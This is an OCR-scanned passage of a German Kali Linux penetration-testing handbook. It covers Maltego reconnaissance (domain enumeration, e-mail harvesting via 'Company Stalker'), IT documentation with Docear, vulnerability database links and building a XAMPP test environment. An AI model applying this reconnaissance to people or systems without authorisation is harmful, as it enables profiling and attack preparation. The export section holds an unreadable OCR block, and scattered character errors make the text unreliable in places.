Um eine erste eigene Grafik anzulegen, klicken Sie in der Kopfzeile auf das New-
Symbol. In der linken Palette finden Sie die verschiedenen Entity-Typen, die in

folgende Kategorien unterteilt sind:
Devices
Infrastructure
Locations
Penetration Testing
Personal
Social Network
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Um einen Elementtyp auf dem Arbeitsblatt zu platzieren, ziehen Sie diesen einfach
aus der Palette in das Blatt. Wir platzieren hier exemplarisch einen Domain-Eintrag
auf dem Arbeitsbereich. Der Maltego-Client weist diesem automatisch die Domain
der Entwickler zu. Mit einem Doppelklick editieren Sie den Eintrag und weisen
ihm die Domain google.com zu. Mit Hilfe der Maus kdnnen Sie die Eintrége ver-
schieben und beliebig platzieren.

Mit Hilfe der Transformationen kdénnen Sie nun einfach weitere Top Level-
Domains identifizieren, die zu google.com gehdren. Dazu markieren Sie den Do-
main-Eintrag mit der rechten Maustaste und fihren aus dem Kontextmen( der
rechten Maustaste den Befehl To Domain aus. Sie milssen der Aktion in einem
Hinweisdialog zustimmen und kénnen dann unterhalb der Grafik der Ausgabe der
Transformation folgen.
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Der Ergebnisder Transformation To Domain, die weitere TL Ds aufspirt.

Wenn Sie die ersten Gehversuche mit Maltego unternehmen, kénnen Sie natiirlich
noch nicht annghernd die Vielfalt und Aufgaben der verschiedenen Transformatio-
nen kennen. Doch das ist kein Problem, denn wenn Sie den Mauszeiger tiber eine
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Auswahl fuhren, zeigt Thnen ein Pop-up-Dialog eine kurze Zusammenfassung an.
Wenn Sie nun wissen wollen, welche Websites zu einer Domain gehdren, fihren
Sie eine weitere Transformation aus: To Website. Wieder stimmen Sie der Ausfiih-
rung der Transformation zu und Sie kdnnen anhand der Ausgabe und der Aktuali-
sierung der Darstellung erkennen, welche Websites Maltego finden und visualisie-
ren kann.

Wenn Sie nun in der Visualisierung auf einen Eintrag klicken, so finden Sie auf der
rechten Seite verschiedene Zusatzinforamtionen zu einer Entity. Maltego stellt
Ihnen rechts drei Bereiche zur Verfligung:

Overview: Hier finden Sie eine Miniaturansicht der bislang indizierten In-
frastruktur.

Detail View: Diesem Bereich kdnnen Sie den Hostnamen und verschiede-
ne V erbindungsi nformationen entnehmen.

Property View: Hier finden Sie nochmal weitere Detailinformationen zu
einem Eintrag, beispielsweise den Port oder die VVerwendung von SSL.

Neben der Standardansicht kdnnen Sie weitere Ansichten wie die Bubble- und List
View verwenden. Damit stehen Ihnen alternative Darstellungsformen zur Verfi-
gung, die noch einmal einen anderen Blickwinkel auf die Verknipfungen bieten.
Die oben beschriebene V orgehensweise kbnnen Sie hervorragend dazu verwenden,
die eigene Intrastruktur abzubilden.

8.2 Weitere Moglichkeiten

Aus Kapitel 6 kennen Sie das Tool airodump-ng, mit dem Sie in lhrem Umfeld
nach Access Points und den damit verbundenen Gerdten scannen kdnnen. Dort
haben wir aus den Informationen, die das Tool gesammelt hat, auch eine CSV-
Datei erzeugt. Diese kdnnen Sie mit Maltego importieren und ebenfalls sichtbar
machen. Einziger Haken an der Sache: Die Community Edition des Mining-
Spezialisten bietet diese Moglichkeit nicht.

Wenn sich wie im Falle einer Domain wie Google unzihlige Aste und Verzwei-
gungen auftun, so kénnen Sie auch einzelne Aste herauspicken und diese in eine
neue Grafik kopieren. Dazu markieren Sie einen Knoten und fuhren dann aus dem
Kontextmeni der rechten Maustaste den Befehl Copy to new graph aus. In weite-
ren Unterments legen Sie dann fest, wie viele Nachbarn und Kinder mitkopiert
werden sollen. Anschlief?end steht IThnen in Maltego die visualisierte WLAN-
Umgebung zur Verfligung.
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Der Zugriff auf die weiteren Testfunktionen.

Neben der Palette und den Transformationen hat Maltego eine Fiille weiterer inte-
ressanter Funktionen zu bieten. Auf der Registerkarte Run View stehen Ihnen bei-
spielsweise Funktionen zur Verfiigung, mit denen Sie Informationen Uber die Do-
main-Besitzer in Erfahrung bringen. Mit dem sogenannten Company Stalker kon-

nen Sie die E-Mail-Adressen sammeln.

Naturlich kénnen Sie die Visualisierungen auch um eigene Eintrédge erweitern. Fur
die Suche nach bestimmten Informationen stehen 1hnen umfangreiche Suchfunk-
tionen zur Verflgung. In der kommerziellen Variante ist sogar ein Penetration
Testing-Modul integriert, mit dem Sie beispielsweise einen eingelesenen Netz-
werkast auf Schwachstellen prifen kénnen.
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9 Dokumentation

I T-Infrastrukturen unterliegen in der Regel einem steten Wandel und werden meist
von mehreren Administratoren betreut. Solange die Umgebung die an Sie gestell-
ten Anforderungen erfiillt, ist alles im Lot. Doch was, wenn es zu unerklérlichen
Ausfallen und Ereignissen kommt? Meist ist der Mitarbeiter dann nicht verfligbar,
der die komplexen Strukturen und Schwachstellen kennt.

In solchen Fallen wére eine umfassende und aktuelle Dokumentation sehr hilfreich.
Die Durchfiihrung von Penetrationtests ist das eine, aber es geniigt natiirlich nicht,
einfach loszulegen und mal zu gucken, wo man etwaige Schwachstellen auffindet
und testet. In jedem Fall ist die Durchfiihrung von Penetrationstests zu dokumen-
tieren, damit sie zu einem spéteren Zeitpunkt — auch von Dritten — nachvollzogen
werden konnen.
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Die Dokumentationswer kzeuge von Kali Linux.
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Doch die Dokumentation wird meist nur sehr stiefmitterlich gefiihrt oder —
schlimmer noch — fehlt ganz. Dabel 1&sst sich das mit wenig Aufwand erledigen,
wenn man den richtigen Helfer verwendet. Die gute Nachricht: Kali Linux ist mit
einigen Hilfsmitteln fur die Dokumentation ausgestattet. Im Untermenil Berichter-
stellung finden Sie unter Documentation beispielsweise die beiden Werkzeuge
KeepNote und das webbasierte Dradis Framework. Beide eignen sich durchaus zur
Auszeichnung und Dokumentation. Wenn Sie Kali Linux auch zu forensischen
Zwecken einsetzen, finden Sie im Untermenti Bewei severwaltung weitere Hilfsmit-
tel; unter anderem auch Maltego, das Sie in Kapitel 8 kennengelernt haben.

Die Dokumentationsméglichkeiten, die die in Kali Linux enthaltenen Werkzeuge
bieten, sind fur rudimentére Aufgaben alemal ausreichend. Wenn Sie aber Pene-
tration Testing regelmafig durchfiihren, so benétigen Sie ein Werkzeug, das flexi-
bel und leistungfahigist.

Wenn Administratoren etwas nicht mégen, dann ist es die Dokumentation ihrer I T-
Infrastruktur. Dabel ist es doch so wichtig, dass alle wesentlichen Komponenten
und durchgefiihrten Aktionen beschrieben sind. Das gilt nattrlich insbesondere
auch fir Anderungen, Aktualisierungen und natirlich auch fir Penetrationstests.
Nur so ist im Falle eines Falles auch fur Dritte nachvollziehbar, wie eine Umge-
bung strukturiert ist. Techniker haben im Admin-Alltag allerdings wenig Vergni-
gen an derlei Aufgaben.

Jeder Verantwortliche weil3; Eine mal3geschneiderte Dokumentation ist ein Muss
fir jeden sicheren Rechenzentrumsbetrieb. Sollte eine Auditierung geplant sein,
gilt die erste Frage des Auditors immer erst der Dokumentation. Ohne entspre-
chende Unterlagen ist kein sicherer und kontinuierlicher Betrieb zu gewahrleisten.

Den Grundstock einer soliden Dokumentation bildet die Beschreibung des Sicher-
heits- und Verflgbarkeitskonzepts. Sie sollte spétestens bei der Inbetriebnahme um
relevante Schemen, Zeichnungen und Funktionsbeschreibungen erganzt werden.
Unternehmen tun gut daran, ein Betriebshandbuch mit Regeln fir den téglichen
Betrieb, eine Zugangsregelung und ein Notfallhandbuch mit Anweisungen fur
Storfalle anzulegen. Diese Basisdokumentation sollte um Wartungs- und Instand-
haltungshandbiicher ergénzt werden — dhnlich dem Scheckheft fir Autos.

9.1 Die ideale L6sung: Docear

Doch wie geht man diese Problematik am besten an? Welches sind praktikable
Losungen? Oftmals kommen Tabellen oder Datenbanken fir die Dokumentation
zum Einsatz. Andere Administratoren setzen auf Diagrammwerkzeuge, die ihre
Stérken in der Visualisierung von Strukturen haben. Inventarwerkzeuge stellen
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oftmals simple Dokumentationsfunktionen zur Verfligung, doch scheitern meist an
der Erganzung und Verkniipfung mit Drittdaten.

Die ideale Losung ist leistungsféhig, flexibel einsetzbar, kostenguinstig und wird
kontinuierlich weiterentwickelt. Mit Docear steht Ihnen ein Werkzeug zur Verfi-
gung, das genau diese Anforderungen abdeckt. Bei Docear handelt es sich primér
um ein Mindmapping-Programm, das aus dem wissenschaftlichen Bereich kommt,
doch dank seiner unzadhligen Mdglichkeiten ist es bestens fir jede Form der Do-
kumentation geeignet.
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Ein erster Blick auf den Arbeitsbereich von Docear .

Docear basiert auf dem FreeMind-Fork Freeplane und wird aktuell durch Mittel
des Bundesministeriums fir Wirtschaft und Technologie gefordert. Als Mindmap-
ping-Programm ist es hervorragend geeignet, um die verschiedensten Informatio-
nen in eine sinnvolle Struktur zu bringen. Docear verwendet dabei Knoten, um eine
hierarchische Struktur zu erstellen — &hnlich einem Baumdiagramm. Doch im Un-
terschied zu nackten Diagrammen koénnen Sie in Docear beliebige Inhalte mit ei-
nem Knoten verkniipfen. Sie kdnnen bestehende Dokumente, Skizzen, Abbildun-
gen etc. mit diesen Strukturelementen verbinden. Besondere Stérken zeigt Docear
bei der Verwendung von PDF-Dokumenten. Sie kénnen in Docear sogar Ordner
anlegen, die auf neue Dokumente hin Uberwacht werden.
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Dokumentationen entstehen ja nicht zum Selbstzweck, sondern miissen durchsuch-
bar sein. Auch hierfir stellt IThnen Docear umfangreiche Recherche- und Filter-
maoglichkeiten zur Verfiigung, mit denen Sie Informationen gezielt suchen bzw. die
Ansicht einschrénken kénnen. Fir den Einsatz von Docear spricht auf3erdem, dass
sich aktuell eine Online-Variante in der Entwicklung befindet, die in Zukunft auch
das Editieren erlauben soll. In Planung befinden sich auf3erdem Smartphone-Apps,
die die Nutzung auf Mobilgeréten erlauben.

Nicht minder interessant: Mit dem Word-Add-on DoceardWord bringen Sie die
beiden Anwendungen zusammen. Da Docear auf Freeplane basiert, kdnnen Sie
aulBerdem alle Freeplane-Add-ons verwenden. Docear verfligt sogar Uber eine
einfache Zeitmanagementfunktion, mit der Sie anstehende Dokumentationsaufga-
ben planen kénnen. Firr den Einsatz von Docear spricht auf3erdem, dass die Soft-
ware der GPL2 unterliegt und fur Linux, Mac OS X und Windows verfugbar ist.

9.2 Erste Schritte

Der Ausgangspunkt von Docear ist der sogenannte Wurzelknoten, den Sie beliebig
um weitere Knoten erweitern kdnnen. Das Schdne an diesen Knoten: Sie kdnnen
diesem beliebigen Text hinzufligen und die Texte nach Lust und Laune gestalten.
Sie kénnen Dateien mit lhren Knoten verknipfen, Links zu unterschiedlichen
Quellen hinterlegen und einfach PDF- Dokumente einbauen.

Der Wurzelknoten wird standardméf3ig mittig im Docear-Arbeitsbereich platziert.
Diesen gilt es, um weitere Hierarchieebenen und Unterknoten zu erweitern. Um
eine neue Map anzulegen, klicken Sie in der Startseite auf Neue Mindmap bzw. in
der Schnellzugriffdeiste auf das zugehdrigen Icon. Docear erlaubt die Auswahl
eines Projekts bzw. das Erstellen einer neuen Projektdatei. In diesen Projekten
kénnen Sie neben der eigentlichen Visualisierung die verschiedensten Dateien
bundeln. Auch das Hinzufiigen von Binérdateien ist moglich.

Um den Wurzelknoten zu bearbeiten, klicken Sie doppelt auf den Ausgangspunkt
und &ndern die Bezeichnung. Das Hinzufiigen weiteren Knoten und Ebenen ist
einfach: Markieren Sie einfach den Knoten, dem Sie einen Unterknoten zuweisen
wollen, und betdtigen die Return-Taste. Ob Sie nun zuerst damit beginnen, eine
geeignete Struktur anzulegen, oder bereits angelegte Knoten mit Inhalten zu fillen,
ist eine Frage des individuellen Geschmacks.

Um den Knoten zu gestalten, markieren Sie diesen mit der rechten Maustaste und
fuhren aus dem Kontextmenii den Befehl Text im Editor bearbeiten aus. Docear
integriert den SimplyHTML-Editor, der Ihnen einfache Gestaltungsmdglichkeiten
bietet. Er erlaubt das Einfligen von Tabellen, die Sie Uber das Meni Tabelle einfi-
gen anlegen und gegebenenfalls nachbearbeiten kénnen. Durch die Integration von
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Tabellen ist es recht einfach, beispielsweise die Racks eines Server-Schranks zu
dokumentieren. Sollte der Editor eine bestimmte Gestaltungsmoglichkeit nicht
bieten, kbnnen Sie diese Uber die HTML Code-Ansicht manuell einfiigen. Sollten
Sie nicht ausreichend mit HTML vertraut sein, kdnnen Sie lhre Inhalte auch mit
einem leistungsféhigen HTML-Editor erstellen und diese dann im SimplyHTML-
Editor Ubernehmen.
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Mit Hilfe des Editors SimplyHTML kdnnen Sie die Knoten beliebig gestalten.

Sie kdnnen Uber die Funktion Resources der Registerkarte Home verschiedene
Gestaltungsmoglichkeiten nutzen und beispielsweise Bilder und Icons in Ihren
Knoten einbauen. Uber die Wolken-Funktion, die sie ebenfalls in der Befehlsgrup-
pe Resources finden, kénnen Sie zusammengehérige Knoten zusammenfassen. So
kénnten Sie beispielsweise die Computer-Beschreibungen eines Stockwerks oder
einer Abteilung biindeln.
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Eine der zentralen Vorteile von Mindmapping-Programmen: Sie kdnnen Knoten
per Drag& Drop einfach an eine neue Position verschieben. Sollte also beispiels-
weise ein Server-Schrank den Raum wechseln, verschieben Sie diesen Dokumenta-
tionsknoten einfach an die neue Position. Einfacher kann man eine bestehende
Struktur kaum neu anordnen.

Wenn Sie einmal damit begonnen haben, lhre IT-Dokumentation und Ihre Aktio-
nen als Penetrationteste in Form einer Mindmap aufzubauen, werden Sie schnell
merken, dass Sie | hre Knoten mit weiteren Informationen und Quellen verkniipfen
wollen. Docear erlaubt Ihnen das Herstellen von Verkniipfungen und das Verwei-
sen auf Referenzen.

Docear erlaubt Ihnen das Erstellen von Hyperlinks zu Dateien, zu anderen Knoten
und zu Netzwerk- bzw. Internet-Adressen. Um einen Links zu einer Datei oder
einer URL herzustellen, markieren Sie den betreffenden Knoten mit der rechten
Maustaste und fuhren aus dem Pop-up-Dialog den Befehl Hyperlink > Links auf
Datel bzw. Link aus Knotentext erzeugen aus. Bei Verweisen auf Dateien kénnen
Sie natiirlich auch interne Netzwerk-Adressen angeben. Uber die Konnektor-
Funktion, die ebenfalls tUber das Pop-up-Menu verfugbar ist, kdnnen Sie Verkniipf-
ungen innerhalb der Mindmap von Knoten zu Knoten anlegen.

Da Docear aus dem wissenschaftlichen Bereich kommt, haben die Entwickler mit
JabRef (http://jabref.sourceforge.net) einen Referenz-Manager in das Programm
integriert, mit dem Sie die verschiedenen Referenzen verwalten. Um eine Referenz
anzulegen, 6ffnen Sie die Registerkarte Reference und klicken auf die Schaltflache
Create or update reference. Das Referenz-Modul préasentiert Thnen eine Auswahl
an 19 vordefinierten Referenztypen. Hiermit kdnnen Sie Verweise auf Tests, Tools
und verschiedenes mehr anlegen.

Oftmals liegen in einem Unternehmen bereits Notfallplane, Gebdude- und Infrast-
rukturdokumente in digitaler Form vor. Das vorherrschende Dateiformat fur derlei
Dokumente ist PDF. Diesen Dokumententyp kdnnen Sie besonders einfach in
Docear verwenden. Dazu ziehen Sie die PDF-Datel auf den gewtinschten Knoten.
Dabei wird in der Regel auch die Dokumentenstruktur zuverlassig eingelesen und
als Baumhierarchie unterhalb des Zielknotens eingefiigt. Auf diesem Weg kdnnen
Sie beispielsweise auf vorhandene Dokumente verweisen. Ein Klick auf den ent-
sprechenden Unterknoten 6ffnet das betreffende PDF-Dokument.

Docear verfligt mit dem sogenannten PDF Inspector Uber eine weitere praktische
Funktion. Diese Funktion kann aus PDF-Dokumenten den Text der ersten Seite
eines Dokuments extrahieren und in den Knoten einfligen, der den Verweis zu dem
PDF-Dokument représentiert. Auferdem erlaubt Docear das Anlegen aller (geén-
derten) Anmerkungen einer PDF-Datei. Dazu markieren Sie den PDF-Knoten und
fuhren aus dem Kontextmeni den Befehl PDF > Import all annotations aus.
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Sie finden in der Docear-Benutzerschnittstelle linker Hand die Projektverwaltung,
die aus verschiedenen Standardordnern besteht. Hier kénnen Sie weitere Unterver-
zeichnisse anlegen und bei Bedarf beliebige Dateitypen per Drag&Drop in das
Projekt einbinden. Die Projektverwaltung hat eine weitere Besonderheit zu bieten:
Sie konnen verschiedene Benutzerkonten fir die Verwendung lhrer Dokumente
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Docear ist bestensfir die Integration von PDF-Dateien gerlistet. Mit einem
Rechtsklick importieren Sie alle Anmerkungen eines PDF-Dokuments.

9.3 Informationen filtern

Das Anlegen von Dokumentationen ist die eine Sache, das Auffinden von Informa-
tionen die andere. Docear stellt Thnen fir die Recherche in Thren Mindmaps ver-
schiedene Funktionen zur Verfiigung. Diese Funktionen sind auf der Registerkarte

Search and Filter zu finden.
Zunéchst verfligt Docear Uber eine rudimentére Suchfunktion. Die 6ffnen Sie mit

einem Klick auf die Schaltflache Suchen. Der Suchen-Dialog erlaubt die Recher-
che nach Textbausteinen, Details, Notizen, Text des Elternknoten, Icons, Hyper-
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links und Konnektorbeschriftungen. Uber logische Verkniipfungen kénnen Sie die
Schlagworte ein- und ausschlief3en. Auch die Verwendung von reguldren Ausdri-
cken ist in der Suche mdglich. Die Filterfunktion stellt Thnen eine weitere Beson-
derheit zur Verflgung: Sie kdnnen durch Aktivieren der Option auch nach &hnlich
geschriebenen Inhalten recherchieren.

Mit Hilfe der Filterfunktion kdnnen Sie die Ansicht gezielt auf bestimmte Informa-
tionen beschrénken. Der Zugriff auf den Filter erfolgt ebenfalls Uber die Register-
karte Search and filter. Alternativ soll der Aufruf der Filterfunktion auch Uber das
Kontextmenu der rechten Maustaste mdglich sein, alerdings funktionierte das
nicht bei Version 1.0.

Mit einem Klick auf Editieren 6ffnen Sie den Filter-Editor, in dem Sie die Filter-
konfigurationen anlegen. Auch hier kdnnen Sie wieder die Suchkriterien bestim-
men und diese dann in Ihren Maps anwenden. Um die Filterkonfiguration anzu-
wenden, setzen Sie diese mit einem Klick auf Filter deaktivieren wieder zurtick.
Ein Manko von Docear ist alerdings, dass das Programm nicht die Funktion
Schneller Filter geerbt hat, die in dem Vorlédufer eine Fiille von Suchoptionen in
die Symbolleiste integriert.

9.4 Weitere Besonderheiten

Eine wunderbare Funktion von Docear sind die sogenannten schwebenden Knoten.
Dabei handelt es sich um Knoten, die Sie beliebig auf dem Arbeitsblatt positionie-
ren kénnen, die aber keine Verknipfung zu bestehenden Inhalten besitzen.

Sie konnen diesen Typus beispielsweise fiir das Anlegen von weiteren Asten ver-
wenden, deren genaue Zuordnung in der bestehenden Map aber noch nicht eindeu-
tig geklart ist. Sie kdnnen schwebende Knoten, die auch als freie Konten bezeich-
net werden, auch nur fir Randinformationen verwenden, die woméglich zu einem
spéteren Zeitpunkt bendtigt werden.

Das Erstellen eines freien Knotens ist einfach: Markieren Sie einen Knoten und
weisen Sie diesem auf der Registerkarte Format den Stil Schwebender Knoten zu.
Einen schwebenden Knoten erkennen Sie auch immer daran, dass die Ellipse beim
Markieren blau formatiert ist. Sie kdnnen den ,,Schwebezustand“ eines freien Kno-
tens einfach aufheben, indem Sie ihm einen anderen Stil zuweisen und den Knoten
so wieder in die Mindmap einhéngen.

Docear unterstiitzt auch bedingte Knotenformatierungen. Konkret kénnen Sie ei-
nem neuen Knoten, der beispielsweise ein wichtiges Stichwort enthélt, einen spe-
ziellen Stil zuweisen. Diese Funktion ist mit der Syntax-Hervorhebung in Prog-
rammierwerkzeugen vergleichbar. Die Vorgehensweise hierfir ist einfach: Offnen
Sie zunéchst die gewiinschte Map und dort den Bereich Format. Um nun dem
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Knoten automatisch einen bestimmen Stil zuzuweisen, klicken Sie im Eigenschaf-
tenbereich in das Feld Aktuell auf Knoten angewandte mindmapbezogene Stile. Es
offnet sich der Dialog Bedingte Formatierung (fir Knoten). Mit einem Klick auf
Neu legen Sie eine erste Bedingung an. Markieren Sie den ersten Eintrag der Map
und klicken Sie auf Bearbeiten. Docear 6ffnet den Dialog Filter definieren. Hier
legen Sie die Bedingung fur die Stilzuweisung fest. Geben Sie in das Eingabefeld
das Stichwort ein und speichern Sie den Filter. Im Dialog Bedingte Formatierung
weisen Sie dann dem Filter Uber die Spalte Sl die gewlinschte Formatierung zu. In
Zukunft werden die neuen Elemente, die dieser Bedingung geniigen, dann immer
entsprechend formatiert.

9.5 Sicherheit und Datenaustausch

Nicht ales ist fur jeden bestimmt. Docear ermdglicht es Ihnen daher, sensible In-
formationen gegen unbefugte Zugriffe zu schiitzen. Dazu werden die Daten einer
Map verschlisselt, damit sie nicht mehr von jedem Anwender eingesehen werden
koénnen. Docear verwendet dabei den in Java integrierten symmetrischen Ver-
schltisselungs-Algorithmus 3DES.

Fir das Verschlisseln von Daten stehen in Docear zwel Mdglichkeiten zur Aus-
wahl: Verschlisseln eines Knotens und seiner Unterknoten oder Verschllisseln der
gesamten Map. Um einen bestehenden Knoten zu verschlisseln, klicken Sie auf
das Verschliisselungssymbol in der Schnellzugriffdeiste oder fihren Sie den ent-
sprechenden Befehl aus dem Kontextmenl aus. Weisen Sie dem Knoten ein Pass-
wort zu und bestétigen Sie die Eingabe durch die wiederholte Passworteingabe.

Bel einer verschllisselten Map handelt es sich im Grunde um eine Sonderform der
zuvor beschriebenen Funktion. Der Unterschied besteht darin, dass nicht ein Un-
terknoten, sondern der Wurzelknoten mit einem Passwort geschiitzt wird. Mit der
Funktion Neu > Neue verschllisselte Mindmap erstellen Sie Maps, die nicht jeder
Anwender einsehen kann. Nach Aufruf der Funktion erscheint das Dialogfeld Bitte
wahlen Se ein Passwort fir den verschllisselten Knoten. Hier geben Sie das ge-
wiinschte Passwort ein und wiederholen es. Eine verschliisselte Map oder einen
geschitzten Knoten erkennen Sie an einem geschl ossenen V orhéngeschloss.

Der Dokumentierende im Rechenzentrum verlangt nach einer Ldsung, die nicht
nur flexibel einsetzbar ist, sondern auch bestehende Dokumente problemlos nutzen
kann. Die Verwendung von PDF-Dokumenten ist per Drag&Drop einfach. Das
funktioniert auch mit Links, Bildern, Textbausteinen und HTML-Dokumenten.
Auch die kdnnen Sie einfach in einen Knoten ziehen.

Docear bietet mehrere Mdglichkeiten, die in der Anwendung erstellten Dokumente
fur Dritte verfligbar zu machen. Der Dokumentationsspezialist verfligt insbesonde-
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re Uber umfangreiche Exportfunktionen, die Uber den Docear-Button mit Im-
port/Export > Export verfigbar sind. Der Exportdialog stellt Ihnen Uber das Aus-
wahlment Type of file fast 30 verschiedene Formate zur Auswahl. Sie kdnnen lhre
Maps beispiel sweise nhach DOC, HTML, PDF, ODT, XML und XLS konvertieren.
Damit steht einer Weiterverarbeitung in gangigen Drittprogrammen nichts im We-

ge

£ 24 Tiocear projectst Jeiebak s~ 3bi A

Fenaling 8
W Zefimanzgerran - e -ormelr - Ty Add Upeilaps _ocalion..
n
P Tzazwor Zxoon v W Remove Opeallaps Locsion A
deautzare ASIGlLIgEVerzE SIS SINEtEIIUN Jan..,  ETIENCE prafersaces  EI0nUL T
affric... ulFen .. amic .. Seremag - mprtiersn o | e sw et =as | acation
Hizce anecis - Il Mapz
Dlczze-Caport mitte s X50T ==
r 5 twrn |@ e o @) el E e
v [ Hemetshar gouzk .
Liceary w# . | Cemletshzndouzn
» 0y dratis —
» EF Liewaturs rasosnery
i References
e My
828 Sok 5
S
[lie Hzme
i Filez of _vpe: |J:x:s; UKS autwarts) AL tormat Lanl, 5] 1
v
comlLizzz Lopmly

S

Dank der integrierten Exportfunktion konnen Sie Ihre Dokumente
in nahezu alle relevante Formate konvertieren.

Im Cloud-Zeitalter hat man sich daran gewohnt, dass man seine wichtigsten Daten
immer und Uberall verflgbar hat. Das Docear-Entwicklerteam trégt auch diesem
Umstand Rechnung und entwickelt mit Docear Online (https://my.docear.org)
einen Web-basierten Service, der in Zukunft die Zusammenarbeit an Mindmaps
Uber das Internet erlauben wird. Aktuell befindet sich dieser Service alerdings
noch in der Alpha-Phase.

Wer sich heute an komplexe Dokumentationsaufgaben heranwagt, benétigt ein
leistungsfahiges und flexibles Programm, das verschiedene Anforderungen erfillen
muss, die unterschiedlicher nicht sein kbnnten. Docear meistert in der Praxis ale
an das Programm gestellten Aufgaben mit Bravur. Damit gehort es in jeden Ad-
min-Werkzeugkasten — aber nicht nur in dessen Werkzeugkiste.
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Anhang A — More Info

Mit Hilfe von Security Scannern kdnnen Sie in der Regel schnell und umkompli-
zZiert aktuelle Schwachstellen und Sicherheitsllicken aufdecken. Parallel dazu soll-
ten Sie regelméfig die wichtigsten Schwachstellendatenbanken auf fir Sie relevan-
te Meldungen priifen. Nachfolgend finden Sie eine Liste der interessantesten In-
formationsquellen:

CERT Vulnerability Notes Database — https.//www.kb.cert.org/vuls/

Datenbank fur I T-Angriffsanalysen des Hasso-Plattner-I nstituts —
https.//www.hpi-vdb.de/vulndb/

Exploit Database — https://www.exploit-db.com/

Google Hacking Database (GHDB) - https://www.exploit-
db.com/googl e-hacking-database/

National Vulnerability Database —
https://web.nvd.nist.gov/view/vuln/search/

SecurityFocus - http://www.securityfocus.com/vul nerabilities/

Die Liste erhebt keinen Anspruch auf Vollstandigkeit, sondern ist als Ausgangs-
punkt fur Ihre weiteren Recherchen gedacht.
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Anhang B — Eigene Testumgebung

In diesem Handbuch haben Sie die wichtigsten Aktionen von Hackern und Penet-
rationstestern kennengelernt. Sie diirfen nun einen Fehler nicht begehen: Die hier
beschriebenen Aktionen an Ihren Produktivitétsystemen zu testen. Sie fragen zu
Recht: Warum denn nicht?

Die Antwort ist einfach: Bevor Sie die eine oder andere Aktion an einem laufenden
System vornehmen, sollten Sie diese immer zunachst auf einem Testsystem priifen.
Nur so kdnnen Sie sicherstellen, dass die aktuellen Produktivitétsysteme keinen
Schaden nehmen oder in irgendeiner Form beeintréchtigt werden.
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Dieideale Testumgebung fur alle Apache-MySQL -
PHP-basierten Anwendungen: XAM PP.

Das bedeutet fir Sie, dass Sie am besten eine typische Umgegebung lokal nach-
bauen oder spiegeln sollten. Mit Hilfe von XAMPP
(http://www.apachefriends.org/de/xampp.html) ist das recht einfach — insbesondere
als Basis fur webbasierte Umgebungen.
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XAMPP verknupft all jene Komponenten, die fur die Nutzung von solchen Appli-
kationen erforderlich sind. Sie miissen sich dabei nicht durch aufwendige Installa-
tionen und Konfigurationsdialoge k&mpfen, sondern kénnen unmittelbar nach der
Inbetriebnahme loslegen. Uber einen speziellen Ingtaller kdnnen Sie sogar Shop-
ping-System, Blogs, ERP- und CRM-Systeme mit minimalem Aufwand installie-
ren.

Sie kdnnen auch einen bereits angel egten Magento Shop einfach spiegeln und dann
einer ausgiebigen Sichherheitsanalyse unterziehen. Dazu gehen Sie wie folgt vor:

1

Packen Sie dle Dateien (auch die versteckten Dateien) auf dem bisherigen
Server in ein Archiv.

Dann greifen Sie zu phpMyAdmin und exportieren alle Tabellen der bisheri-
gen Datenbank in eine SQL-Datei.

Auf Seiten des XAMPP-Systems importieren Sie die SQL-Datei.

Dann suchen Sie in der Tabelle core config_data nach den Eintrégen fir
web/secure/baseur! und web/unsecure_baseur!l und passen die Domain an.

Entpacken Sie dann dasin Schritt 1 angelegte Archiv auf dem neuen Server.

Als Néchstes leeren Sie die im Verzeichnis /var befindlichen Ordner (nicht
[6schent).

Passen Sie dann die Datel .htaccessim Hauptverzeichnis an.

Ein letzter Schritt ist erforderlich: Passen Sie im Ordner /app/etc/ die Dateien
config.xml und local.xml an. Tragen Sie hier die neuen Datenbankzugangsda-
ten ein. Fertig.

Tipp — Magento-, WordPress und XAMPP-Buch zum Download

Zum Anlegen einer Testumgebung stellen wir IThnen drei, zum Teil, um-
fangreiche Handbicher zum Download bereit:

Magento komapkt
XAMPP 1.8 kompakt
WordPress kompakt

Die Bicher stehen im FreeBooks-Bereich der Verlags-Website zum
kostenlosen Download bereit: http://www.brain-media.de/freebooks.html.
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Weitere Brain-Media.de-Bucher

Dreambox 8000 kompakt

Die Dreambox 8000 stellt ihre Vorgénger
allesamt in den Schatten. Was Sie alles mit
der Dreambox 8000 anfangen kdnnen, verréat
Ihnen die Neuauflage unseres Dreambox-
Klassikers. Mit einem Vorwort des Dream
Multimedia-Geschéftsfuhrers Karasu.

Umfang: 450 Seiten plus CD
ISBN: 978-3-939316-90-9
Preis: 29,80 EUR

X-Plane 10 kompakt

bl Der Klassiker unter den Flugsimulatoren geht
X-Plane 10 kempakt in die zehnte Runde. Viele neue Funktionen
und verbessertes Handling warten auf die
Anwender. Kein Wunder also, dass die Fan-
gemeinde wachst und wéchst. Unser Hand-
buch beschreibt alles, was Sie flr das Fliegen
mit X-Plane wissen sollten.

Umfang: 430 Seiten
ISBN: 978-3-939316-96-1
der Umngang mit dem be- Preis: 24,80 EUR

liebten Flugsimulatar ... schnedl und elnfach
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Audacity 2.0 kompakt

e RaE Audacity ist zweifelsohne das beliebteste freie
Audacity 2.0 kompakt Audioprogramm. Vom anfénglichen Geheim-
y tipp hat sich der Editor zum Standard fur die
Aufzeichnung und Bearbeitung von Audioda-
ten gemausert. Das Vorwort steuert der ehe-
malige Core-Entwickler Markus Meyer bei.

Umfang: 306 Seiten
ISBN: 978-3-95444-027-6
Preis: 24,80 EUR

Professionelle Seundbearbeitung
mit dem besten freien Audiceditor

Evernote kompakt

e b Bei der alltaglichen Informationsflut wird es
Evernote kompakt immer schwieriger, Wichtiges von Unwichti-
gem zu trennen, Termine und Kontakte zu
verwalten. Mit Evernote kdnnen Sie diese Flut
béandigen und lhren Alltag optimieren. "Ever-
note kompakt" vermittelt das notwendige
Know-how furr den Einsatz von Evernote auf
lhrem Desktop, Smartphone und online.

Umfang: 320 Seiten
ISBN: 978-3-95444-098-6
Preis: 22,80 EUR

Fire TV kompakt

Holger Reibald Mit Fire TV hat Amazon eine tolle kleine Box
Fire TV kompakt fur das Online-Entertainment auf den Markt
; @ gebracht, die fuir wenig Geld die gesamte
Palette der Internet-basierten Unterhaltung
abdeckt. In diesem Handbuch erfahren Sie,
was Sie alles mit der kleinen Box anstellen
kénnen.

Umfang: 182 Seiten
ISBN: 978-3-95444-172-3
ek aimens Preis: 16,80 EUR

unel mabr
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Magento SEO kompakt

Holger Reiicid Magento ist die Standardumgebung fir den
Magento SEOQ kompakt Aufbau eines Online-Shops. Doch damit Sie
mit Ihren Shop-Angebot auch im Internet
wahrgenommen werden, missen Sie ein
